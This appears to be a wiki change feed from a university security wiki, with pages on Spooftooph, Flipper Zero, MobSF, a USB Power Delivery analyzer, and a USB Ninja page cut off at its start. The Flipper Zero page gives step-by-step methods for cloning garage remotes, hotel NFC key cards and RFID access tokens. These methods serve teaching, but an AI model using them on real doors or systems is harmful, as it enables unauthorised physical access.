Spooftooph is designed to automate spoofing or cloning Bluetooth device information. The software is able to clone and log bluetooth devices, generate or change new random bluetooth profiles and specify device information for bluetooth interfaces. &lt;br /&gt;
&lt;br /&gt;
E.g.: Spoof your own device address for the interface hci0:&lt;br /&gt;
&lt;br /&gt;
[[File:Btspoofbdaddr.PNG]]&lt;br /&gt;
&lt;br /&gt;
== Bluetooth Pentesting Hardware ==&lt;br /&gt;
&lt;br /&gt;
For hardware pentesting devices like the Ubertooth one please see following documentations:&lt;br /&gt;
&lt;br /&gt;
* [[Bluetooth_Sniffing_with_Ubertooth:_A_Step-by-step_guide]]&lt;br /&gt;
* [[Bluetooth_Hacking_Ubertooth]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://tools.kali.org&lt;br /&gt;
* https://www.offensive-security.com/&lt;br /&gt;
* https://www.kali.org&lt;br /&gt;
* https://github.com/andrewmichaelsmith/bluepot&lt;br /&gt;
* https://github.com/zenware/bluemaho&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Flipper_Zero&amp;diff=14635</id>
		<title>Flipper Zero</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Flipper_Zero&amp;diff=14635"/>
		<updated>2024-03-12T18:23:32Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]&lt;br /&gt;
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]&lt;br /&gt;
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities. &lt;br /&gt;
Thanks to its small form factor it is a perfect device for covert operations. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Setting up the Flipper Zero ===&lt;br /&gt;
&lt;br /&gt;
# Open the box containing the Flipper Zero and boot it by holding down the back button&lt;br /&gt;
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.&lt;br /&gt;
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.&lt;br /&gt;
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section &amp;quot;Firmware Update&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Firmware Update ===&lt;br /&gt;
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the &amp;quot;Flipper&amp;quot; app. In this guide a PC is used for the firmware update.&lt;br /&gt;
&lt;br /&gt;
# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update&lt;br /&gt;
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.&lt;br /&gt;
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]&lt;br /&gt;
# &amp;lt;li value=&amp;quot;3&amp;quot;&amp;gt;Next click the Update button to initiate the update process, this process can take a few minutes.&amp;lt;/li&amp;gt;&lt;br /&gt;
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]&lt;br /&gt;
# &amp;lt;li value=&amp;quot;4&amp;quot;&amp;gt;After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays &amp;quot;Firmware update success&amp;quot;. Now the device is ready to be used again.&amp;lt;/li&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Use Cases ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.&lt;br /&gt;
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.&lt;br /&gt;
&lt;br /&gt;
The use cases are divided into the corresponding categories of the Flipper Zero.&lt;br /&gt;
&lt;br /&gt;
=== Sub-GHz ===&lt;br /&gt;
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.&lt;br /&gt;
&lt;br /&gt;
A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.&lt;br /&gt;
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.&lt;br /&gt;
&lt;br /&gt;
# First open the &amp;quot;Frequency Analyzer&amp;quot; tool inside the Sub-GHz category.&lt;br /&gt;
# Press the garage door remote to send out a signal.&lt;br /&gt;
# The Flipper Zero will automatically display the frequency of the captured signal.&lt;br /&gt;
# Next go back and open the &amp;quot;Read&amp;quot; tool&lt;br /&gt;
# Open the config with the *left* button and set the appropriate frequency band from the captured signal&lt;br /&gt;
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal&lt;br /&gt;
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the &amp;quot;Read&amp;quot; tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.&lt;br /&gt;
&lt;br /&gt;
After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the &amp;quot;Saved&amp;quot; menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called &amp;quot;rolling code&amp;quot;. If rolling codes are used a signal can be read and cloned but is useless, as the underlying &amp;quot;code&amp;quot; is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.&lt;br /&gt;
&lt;br /&gt;
=== 125 kHz RFID ===&lt;br /&gt;
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.&lt;br /&gt;
&lt;br /&gt;
# First open the &amp;quot;Read&amp;quot; tool inside the RFID category.&lt;br /&gt;
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.&lt;br /&gt;
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.&lt;br /&gt;
# This data can then be saved and used for later emulation.&lt;br /&gt;
&lt;br /&gt;
ASK and PSK chips are supported by the Flipper Zero.&lt;br /&gt;
=== NFC ===&lt;br /&gt;
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.&lt;br /&gt;
&lt;br /&gt;
# First open the &amp;quot;Read&amp;quot; tool inside the NFC category.&lt;br /&gt;
# Next hold the Flipper Zero close next to the desired key card.&lt;br /&gt;
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.&lt;br /&gt;
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.&lt;br /&gt;
&lt;br /&gt;
With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.&lt;br /&gt;
&lt;br /&gt;
=== Infrared ===&lt;br /&gt;
With the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.&lt;br /&gt;
Examples for well-known remote signals that are already integrated into the Flipper Zero include:&lt;br /&gt;
&lt;br /&gt;
* TVs&lt;br /&gt;
* Audio Players&lt;br /&gt;
* Projectors&lt;br /&gt;
* Air Conditioners&lt;br /&gt;
&lt;br /&gt;
If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV &amp;quot;on&amp;quot; signal it has stored.&lt;br /&gt;
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the &amp;quot;learning mode&amp;quot; is active. This can be achieved by starting the tool &amp;quot;Learn New Remote&amp;quot; inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.&lt;br /&gt;
&lt;br /&gt;
=== GPIO ===&lt;br /&gt;
There are various modules that can be added to the Flipper Zero using the 18 GPIO Pins on top of the device. An example for this would be a WiFi module to enable the Flipper Zero to connect to a nearby WiFi network. It is also possible to create your own projects with the GPIO pins. An example project would be the [https://www.thedrive.com/news/hacker-uncovers-how-to-turn-traffic-lights-green-with-flipper-zero Traffic-Controller], where special LEDs were attached to the Flipper Zero, which, when flashed at around 14 Hertz, cause traffic lights to turn green, as they are made to believe that an ambulance is approaching them.&lt;br /&gt;
&lt;br /&gt;
[[File:Flipper_GPIO.png|400px||GPIO Pin layout]]&lt;br /&gt;
&lt;br /&gt;
Detailed information about the pins can be found on the [https://docs.flipperzero.one/gpio-and-modules Flipper Zero GPIO documentation website].&lt;br /&gt;
&lt;br /&gt;
=== iButton ===&lt;br /&gt;
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems, some are also used for temperature and humidity measurements. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.&lt;br /&gt;
&lt;br /&gt;
In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.&lt;br /&gt;
=== Bad USB ===&lt;br /&gt;
The Flipper Zero can act as a Bad USB device, similar to a [https://wiki.elvis.science/index.php?title=Hak5_Rubber_Ducky Rubber Ducky], it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).&lt;br /&gt;
&lt;br /&gt;
# First write a fitting payload for the target using the Rubber Ducky Scripting Language&lt;br /&gt;
# Copy the payload over onto the SD Card into the folder &amp;quot;badusb&amp;quot;, either using qFlipper oder the Flipper Mobile App.&lt;br /&gt;
# Plug the Flipper Zero into a PC using the USB-C cable&lt;br /&gt;
# Open the desired payload inside the Bad USB menu and press the OK button to start it&lt;br /&gt;
&lt;br /&gt;
Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.&lt;br /&gt;
=== U2F ===&lt;br /&gt;
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.&lt;br /&gt;
&lt;br /&gt;
It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:&lt;br /&gt;
&lt;br /&gt;
# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.&lt;br /&gt;
# Next up open the U2F menu of the Flipper Zero, the screen should display &amp;quot;connected&amp;quot;&lt;br /&gt;
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select &amp;quot;security key&amp;quot;, or something similar, as a 2nd-factor authentication.&lt;br /&gt;
# On the website choose &amp;quot;security key&amp;quot; as the 2nd-factor authentication &lt;br /&gt;
# Lastly the Flipper Zero shows &amp;quot;Press OK to register&amp;quot;, after clicking &amp;quot;OK&amp;quot; the registration of the Flipper Zero as a security key is accomplished.&lt;br /&gt;
&lt;br /&gt;
=== Applications ===&lt;br /&gt;
&lt;br /&gt;
Applications are for a more special use of the Flipper Hardware for example to fetch and decode the signal from a weather station or use the PicoPass NFC protocol.&lt;br /&gt;
Another example would be the Bluetooth remote, which can control devices using the Bluetooth standard.&lt;br /&gt;
Furthermore, there is also a pre-installed game on the device, namely Snake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
* https://docs.flipperzero.one/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Mobile-Security-Framework-MobSF&amp;diff=14634</id>
		<title>Mobile-Security-Framework-MobSF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Mobile-Security-Framework-MobSF&amp;diff=14634"/>
		<updated>2024-03-12T18:20:23Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:MobSF Logo.png|450px|thumb|right|Mobile-Security-Framework]]&lt;br /&gt;
== Summary == &lt;br /&gt;
Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. The Dynamic Analyzer helps you to perform runtime security assessment and interactive instrumented testing.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Follow the [[Install Mobile-Security-Framework-MobSF]] guide for static analysis.&lt;br /&gt;
&lt;br /&gt;
* Optional: Follow the [[Install Genymotion]] guide for dynamic analysis.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Open the Webpage  ===&lt;br /&gt;
&lt;br /&gt;
http://localhost:8000&lt;br /&gt;
&lt;br /&gt;
[[File:MobSF_startpage.PNG|1200px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Upload Mobile Application  ===&lt;br /&gt;
Select the upload button. This could take a while, because MobSF will decompile the apk and analyze all the files and dependencies.&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Static Analysis ===&lt;br /&gt;
During the static analysis of APKs MobSF collects information performing different tests using several tools, some of the tests are interactive and customizable:After uploading our Mobile Application the report will be generated and we can see the resulting information.&lt;br /&gt;
&lt;br /&gt;
On the starting page we can see a general overview about the results:&lt;br /&gt;
[[File:modsf_Static_1.png|1200px]]&lt;br /&gt;
* &#039;&#039;&#039;Scan Options:&#039;&#039;&#039; defines specific scan options by supression rules&lt;br /&gt;
* &#039;&#039;&#039;Decompiled Code:&#039;&#039;&#039; decompiles to java readable source code or smali code and provides a search in code functionality&lt;br /&gt;
* &#039;&#039;&#039;Playstore information:&#039;&#039;&#039; retrieves some information about usage of the app&lt;br /&gt;
* &#039;&#039;&#039;Signer Certificate:&#039;&#039;&#039; verifies the certificate fields and the signature of the APK file&lt;br /&gt;
* &#039;&#039;&#039;Application Permissions:&#039;&#039;&#039; extracts and evaluates the application permissions fromthe manifest and identifies used dangerous permission of access to phone resources&lt;br /&gt;
* &#039;&#039;&#039;Android API:&#039;&#039;&#039; this listing shows the usage of the Android API giving direct access to the code of the decompiled java files.&lt;br /&gt;
* &#039;&#039;&#039;Browsable Activities:&#039;&#039;&#039; shows activities which provide an intent to the browser and shows the enabled schemes of the intent (https or/and http) and the host domain name.&lt;br /&gt;
* &#039;&#039;&#039;Security Analysis:&#039;&#039;&#039; this section provides the results with risk rating using a scoring of the severity of the findings in high, warning and a reasonable description of the issues.&lt;br /&gt;
** Network Security&lt;br /&gt;
** Certificate Analysis&lt;br /&gt;
** Manifest Analysis: enables the tester to set a supression rule to exclude an issue from the scoring&lt;br /&gt;
** &#039;&#039;&#039;Code Analysis:&#039;&#039;&#039; A detailed list of the findings in the java files with the associated vulnerabilities of the Common Weakness Enumeration (CWE), OWASP Top 10 and OWASP Mobile Application Security Verification Standard 8(OWASP MASVS) It also provides a severity rating of info, warning, high and secure, the latter takes security  easurements such as SSL pinning, root detection or code obfuscation into account. Code Analysis enables the tester to set a supression rule to exclude an issue from the scoring.&lt;br /&gt;
** &#039;&#039;&#039;Binary Analysis:&#039;&#039;&#039; if the binaries are included in the APK file, in case of split APKs the analysis has to be done for each file&lt;br /&gt;
** &#039;&#039;&#039;NIAP Analysis:&#039;&#039;&#039; a National Information Assurance Partnership (NIAP) analysis v1.3 is conducted, the tested requirements are definded in the Protection Profile for Application Software Version 1.3, which provides also a security evaluation summary.&lt;br /&gt;
** &#039;&#039;&#039;File Analysis:&#039;&#039;&#039;&lt;br /&gt;
* &#039;&#039;&#039;Malware Analysis&#039;&#039;&#039;&lt;br /&gt;
** &#039;&#039;&#039;APKiD Analysis:&#039;&#039;&#039; APKiD gives information about how an APK was made. It identifies many compilers, packers, obfuscators, and other weird stuff &lt;br /&gt;
** &#039;&#039;&#039;Quark Analysis:&#039;&#039;&#039; Quark Script APIs enable exchange of valuable intelligence to analyze or pentest the targets&lt;br /&gt;
** &#039;&#039;&#039;Server Locations:&#039;&#039;&#039; Shows a map where the app connects to.&lt;br /&gt;
** &#039;&#039;&#039;Domain Malware Check:&#039;&#039;&#039; examines all domains included in the APK file for malware delivery from known domains, also the geolocations of the domains are listed&lt;br /&gt;
* &#039;&#039;&#039;Reconnaissance:&#039;&#039;&#039;&lt;br /&gt;
** &#039;&#039;&#039;URLs:&#039;&#039;&#039; Shows all URLs found in the APK associated with the decompiled JAVA file&lt;br /&gt;
** &#039;&#039;&#039;Firebase DB:&#039;&#039;&#039; the endpoint of an integrated Firebase database is shown. Firebase is a NoSql cloud database, which enables storing and syncing data in real-time to mobile and web clients&lt;br /&gt;
** &#039;&#039;&#039;Emails:&#039;&#039;&#039; Shows identified Email addresses in the APK&lt;br /&gt;
** &#039;&#039;&#039;Trackers:&#039;&#039;&#039; Shows identified embedded trackers based on the 428 known trackers from Exodus database.&lt;br /&gt;
** &#039;&#039;&#039;Strings:&#039;&#039;&#039; Prints out all connected series of readable chars longer than minimum of 6 chars&lt;br /&gt;
** &#039;&#039;&#039;Hardcoded Secrets:&#039;&#039;&#039; Lists possible hardcoded secrets of the APK&lt;br /&gt;
* &#039;&#039;&#039;Components:&#039;&#039;&#039; Lists all Activities, Services, Receivers, Providers, Libraries and Files found in the APK&lt;br /&gt;
&lt;br /&gt;
If MobSF finds CWE&#039;s during the code analysis, the results will be shown like this:&lt;br /&gt;
[[File:modsf_Static_2.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
MobSF also gives the user the opportunity to compare different apks if deployed native.&lt;br /&gt;
[[File:modsf_Static_3.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Static_4.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Static_5.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
=== Optional Step 4: Dynamic Analysis ===&lt;br /&gt;
If the dynamic analysis is started, a emulation of the app will be started and it is possible to monitor the behaviour and possibly load some Java scripts.&lt;br /&gt;
[[File:modsf_Dynamic_1.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Dynamic_2.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Dynamic_3.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Dynamic_4.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* Sichere Softwareentwicklung (IT-Security 22/23)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Mobile-Security-Framework-MobSF&amp;diff=14633</id>
		<title>Mobile-Security-Framework-MobSF</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Mobile-Security-Framework-MobSF&amp;diff=14633"/>
		<updated>2024-03-12T17:58:35Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:MobSF Logo.png|450px|thumb|right|Mobile-Security-Framework]]&lt;br /&gt;
== Summary == &lt;br /&gt;
Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. The Dynamic Analyzer helps you to perform runtime security assessment and interactive instrumented testing.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Follow the [[Install Mobile-Security-Framework-MobSF]] guide for static analysis.&lt;br /&gt;
&lt;br /&gt;
* Optional: Follow the [[Install Genymotion]] guide for dynamic analysis.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Open the Webpage  ===&lt;br /&gt;
&lt;br /&gt;
http://localhost:8000&lt;br /&gt;
&lt;br /&gt;
[[File:MobSF_startpage.PNG|1200px]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Upload Mobile Application  ===&lt;br /&gt;
Select the upload button. This could take a while, because MobSF will decompile the apk and analyze all the files and dependencies.&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Static Analysis ===&lt;br /&gt;
After uploading our Mobile Application the Report will be generated and we can see the resulting information.&lt;br /&gt;
On the starting page we can see a general overview about the results:&lt;br /&gt;
[[File:modsf_Static_1.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
If MobSF finds CWE&#039;s during the code analysis, the results will be shown like this:&lt;br /&gt;
[[File:modsf_Static_2.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
MobSF also gives the user the opportunity to compare different apks.&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Static_3.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Static_4.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Static_5.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
=== Optional Step 4: Dynamic Analysis ===&lt;br /&gt;
If the dynamic analysis is started, a emulation of the app will be started and it is possible to monitor the behaviour and possibly load some Java scripts.&lt;br /&gt;
[[File:modsf_Dynamic_1.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Dynamic_2.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Dynamic_3.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:modsf_Dynamic_4.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* Sichere Softwareentwicklung (IT-Security 22/23)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Power_Delivery_Analyzer_-_Test&amp;diff=14632</id>
		<title>USB Power Delivery Analyzer - Test</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Power_Delivery_Analyzer_-_Test&amp;diff=14632"/>
		<updated>2024-03-12T17:57:28Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Power_Delivery_Analyzer.PNG|600px|thumb|right|USB Power Delivery Analyzer]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
The Total Phase USB Power Delivery Analyzer is a small adapter for recording the Power Delivery protocol traffic on the USB Type-C connector. It connects in-line between two Type-C products, and passively captures all communication between them, on both the CC1 and CC2 signals. While connected, it does not disturb any USB 3.1 Gen 2 or USB 2.0 signals, enabling capture of PD negotiation for power, USB data roles, and DisplayPort, or other Type-C Alternate Modes.&lt;br /&gt;
&lt;br /&gt;
== In-Line Capture ==&lt;br /&gt;
&lt;br /&gt;
[[File:Power_Delivery_Analyzer_in_Line_Capture.PNG|300px|thumb|right|USB Power Delivery Analyzer - In Line capture]] &lt;br /&gt;
&lt;br /&gt;
* Capture Power Delivery Traffic on CC1 / CC2&lt;br /&gt;
* Pass-through all other signals&lt;br /&gt;
* Measure VBUS / VCONN&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* USB Power Delivery Analyzer with a Micro USB to USB type-A cable.&lt;br /&gt;
* Data Center Software (Download: [https://www.totalphase.com/products/data-center/?___ here]) - to download it from the Totalphase website you will need to create an account. This is not bind with any subscription or cast factor. No installation is needed.&lt;br /&gt;
* When using Windows or Linux, you will need appropriate drivers.&lt;br /&gt;
** Windows ([https://www.totalphase.com/products/usb-drivers-windows/ here])&lt;br /&gt;
** Linux ([https://www.totalphase.com/products/usb-drivers-linux/ here])&lt;br /&gt;
** MacOS does not require any driver.&lt;br /&gt;
* An analysis host computer, which runs the Data Center Software.&lt;br /&gt;
* A USB type-C product of which you want to measure the power delivery protocol traffic.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
Once the Data Center Software is opened, take the Micro USB to USB type A cable, and plug in the Micro USB connector into the analyzer. The other end (USB type A) has to be plugged in into the analysis PC on which the Data Center Software is running. When this is done, we can connect to the analyzer by clicking on “analyzer” and then “Connect to analyzer” in the Data Center Software:&lt;br /&gt;
&lt;br /&gt;
[[File:Connecting to Analyzer.PNG|500px|thumb|none|]] &lt;br /&gt;
&lt;br /&gt;
In the software then start the capture by pressing the “play”-button at the top of the window. A blue light will now appear on the USB Power Delivery Analyzer signifying that the trace is in progress.&lt;br /&gt;
&lt;br /&gt;
The USB Power Delivery Analyzer can then be plugged in into the USB type-C product, which is in this case an iPad. Into the USB type-C port we plug in the charging cable of the iPad. We then insert the connector of the charging cable into the power outlet normally.&lt;br /&gt;
&lt;br /&gt;
As soon as the charging cable was plugged into the analyzer, the analyzer illuminates green or red depending on whether CC1 or CC2 is used to signify the power deliver negotiation is in process. &lt;br /&gt;
&lt;br /&gt;
=== Hands-On ===&lt;br /&gt;
&lt;br /&gt;
Now we can see the traffic displayed in real time. In the following screenshot we can see,&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;1. The handshake between the source and target from start to finish&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;2. The USB Power Delivery specification under the Spec column&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;3. The capture also includes information to CC1 and CC2 lines as represented by a 1 and 2 under the CC column.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;emsp;4. Additionally, we can see the PD data captured under the data column. &lt;br /&gt;
&lt;br /&gt;
[[File:Power Delivery Analyzer Capture 1.PNG|500px|thumb|none|]] &lt;br /&gt;
&lt;br /&gt;
Also included in this trace is an active current and voltage monitor. This graph displays the current and voltage on VBUS and VCONN as well as the voltage of CC1 and CC2 lines as captured by the analyzer. &lt;br /&gt;
&lt;br /&gt;
[[File:Power Delivery Analyzer Capture 2.PNG|500px|thumb|none|]] &lt;br /&gt;
&lt;br /&gt;
This offers a convenient way to correlate data traffic with events in the power lines. When a data point is selected on the graph, the corresponding data transaction is selected. We can also select the PS Ready data transaction to see the corresponding adjustment in current and voltage on the graph. &lt;br /&gt;
&lt;br /&gt;
If there is a for example a voltage increase, we can also see the handshake for the new voltage again. There should be a sink request for the new voltage and the source accept and PS ready.&lt;br /&gt;
&lt;br /&gt;
The Data Center Software is able to capture any changes to the power reading and all data transactions in real time, allowing developers to see exactly what is happening on the bus. &lt;br /&gt;
&lt;br /&gt;
In the Navigator pane, you are also able to filter for and against specific data or errors for greater insight into the specifics of the USB Power Delivery trace. &lt;br /&gt;
&lt;br /&gt;
[[File:Power Delivery Analyzer Capture 3.PNG|500px|thumb|none|]] &lt;br /&gt;
&lt;br /&gt;
As you look at the transaction window and click on a particular transaction, automatically you will see the power window updated. This applies to the Block View and all other widgets are displayed.&lt;br /&gt;
The Block View shows a just simpler, more colourful view of the information.&lt;br /&gt;
&lt;br /&gt;
[[File:Power Delivery Analyzer Capture 4.PNG|500px|thumb|none|]] &lt;br /&gt;
&lt;br /&gt;
This is a quick and easy plug-and-play tool, which makes it an ideal solution for anyone looking for greater insights into the complex nature of USB Power Delivery. &lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.totalphase.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Ninja:_Exploit_example&amp;diff=14631</id>
		<title>USB Ninja: Exploit example</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Ninja:_Exploit_example&amp;diff=14631"/>
		<updated>2024-03-12T17:55:06Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:USBNinja.png|500px|thumb|right|USB Ninja Set]]&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
The USBNinja cable is a product that combines BadUSB capability with Bluetooth in one cable. The components are installed so skillfully that no additional functions can be seen or noted on the cable. It can be controlled with a smartphone via Bluetooth and carry out BadUSB attacks. &lt;br /&gt;
A detailed Wiki-Elvis documentation for installation can be found [https://wiki.elvis.science/index.php?title=USB_Ninja here]. &lt;br /&gt;
&lt;br /&gt;
== Potential Scenario ==&lt;br /&gt;
&lt;br /&gt;
